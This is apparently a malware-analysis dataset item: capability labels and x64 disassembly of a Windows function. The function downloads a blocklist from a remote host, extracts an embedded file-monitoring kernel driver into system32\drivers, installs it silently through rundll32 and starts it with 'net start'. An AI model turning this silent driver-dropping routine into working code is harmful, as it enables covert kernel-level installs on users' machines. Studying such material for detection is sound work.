Function at 0x1800159c0
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r14
sub rsp, 0x160
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rcx, [0x180032e58]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r14d, r14d
mov rdi, rax
mov dword [rsp + 0x30], r14d
test rax, rax
je 0x180015a5d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x30]
mov rcx, rax
call rdi
test eax, eax
jne 0x180015a30
mov dword [rsp + 0x30], r14d
jmp 0x180015a5d
cmp dword [rsp + 0x30], r14d
je 0x180015a5d
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.Wow64EnableWow64FsRedirection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180015a5d
xor ecx, ecx
call rax
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rbp, rax
test rax, rax
jne 0x180015a76
mov rbp, r14
jmp 0x180015a8e
mov rdx, rax
mov ecx, 0x400
mov dword [rax + 4], r14d
call fcn.180001120
mov qword [rbp + 8], rax
mov byte [rax], r14b
lea rcx, [rsp + 0x40]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, 0x104
jae 0x180015aac
mov eax, eax
mov byte [rsp + rax + 0x40], r14b
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
call fcn.1800012d0
lea rdx, str.drivers_
mov r8d, 9
mov rcx, rax
mov r12, rax
call fcn.180001440
lea r8, [0x180032a1c]
lea rdx, [0x180032a18]
mov rcx, r12
call fcn.180001c50
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rsi, rax
test rax, rax
jne 0x180015b11
mov rsi, r14
jmp 0x180015b29
mov rdx, rax
mov ecx, 0x1000
mov dword [rax + 4], r14d
call fcn.180001120
mov qword [rsi + 8], rax
mov byte [rax], r14b
lea rcx, str.http:__cdn.p2ptool.com_p2p_black.txt
mov rdx, rsi
call fcn.180006110
test eax, eax
je 0x180015dbc
mov rdx, qword [rsi + 8]
lea rcx, [0x180033b20]
mov qword [rsp + 0x180], rbx
mov qword [rsp + 0x188], r13
call fcn.180003e40
mov r8, qword [r12 + 8]
lea rdx, str._sblackList.base
mov rcx, rbp
call fcn.180001b60
mov rcx, rsi
call fcn.180001e20
mov r8d, dword [rsi + 4]
mov rdx, qword [rsi + 8]
mov rcx, qword [rbp + 8]
call fcn.180003b10
mov rdx, qword [rbp + 8]
lea rcx, [0x180033b48]
call fcn.180003e40
lea rcx, [0x180032e58]
mov edi, 0x68
mov dword [rsp + 0x30], r14d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x180015bdc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x30]
mov rcx, rax
call rbx
cmp dword [rsp + 0x30], r14d
mov rbx, qword [0x18003dff0]
mov eax, 0x69
cmovne edi, eax
lea r8, [0x180033b54]
mov rcx, rbx
movzx edx, di
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r13, rax
test rax, rax
jne 0x180015c19
lea rcx, [0x180032a08]
call fcn.180003da0
jmp 0x180015c5a
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r13
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r8d, edi
mov rcx, rsi
mov rdx, rax
mov dword [rsi + 4], r14d
call fcn.180001a10
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r8, qword [r12 + 8]
lea rdx, str._sxtfilemon.sys
mov rcx, rbp
call fcn.180001b60
mov r8d, dword [rsi + 4]
mov rdx, qword [rsi + 8]
mov rcx, qword [rbp + 8]
call fcn.180003b10
mov rdx, qword [rbp + 8]
lea rcx, [0x180033b48]
call fcn.180003e40
mov rbx, qword [0x18003dff0]
lea r8, [0x180033b54]
mov rcx, rbx
mov edx, 0x6a
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r13, rax
test rax, rax
jne 0x180015cc1
lea rcx, [0x180032a08]
call fcn.180003da0
jmp 0x180015d02
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r13
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r8d, edi
mov rcx, rsi
mov rdx, rax
mov dword [rsi + 4], r14d
call fcn.180001a10
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r8, qword [r12 + 8]
lea rdx, str._sxtfilemon.inf
mov rcx, rbp
call fcn.180001b60
mov r8d, dword [rsi + 4]
mov rdx, qword [rsi + 8]
mov rcx, qword [rbp + 8]
call fcn.180003b10
mov rdx, qword [rbp + 8]
lea rcx, [0x180033b48]
call fcn.180003e40
mov rdx, qword [r12 + 8]
lea rcx, str.syssetup_SetupInfObjectInstallAction_DefaultInstall_128__sxtfilemon.inf
call fcn.180001930
lea r8, str.c:windows_system32_rundll32.exe
xor edx, edx
mov r9, qword [rax + 8]
xor ecx, ecx
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.net_start_xtfilemon
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r13, qword [rsp + 0x188]
mov rbx, qword [rsp + 0x180]
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180017f70
lea r11, [rsp + 0x160]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r12
pop rdi
ret
lea rcx, str.c:_xscp.txt
call fcn.180003cf0
lea rcx, [0x180033b78]
call fcn.180003e40
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]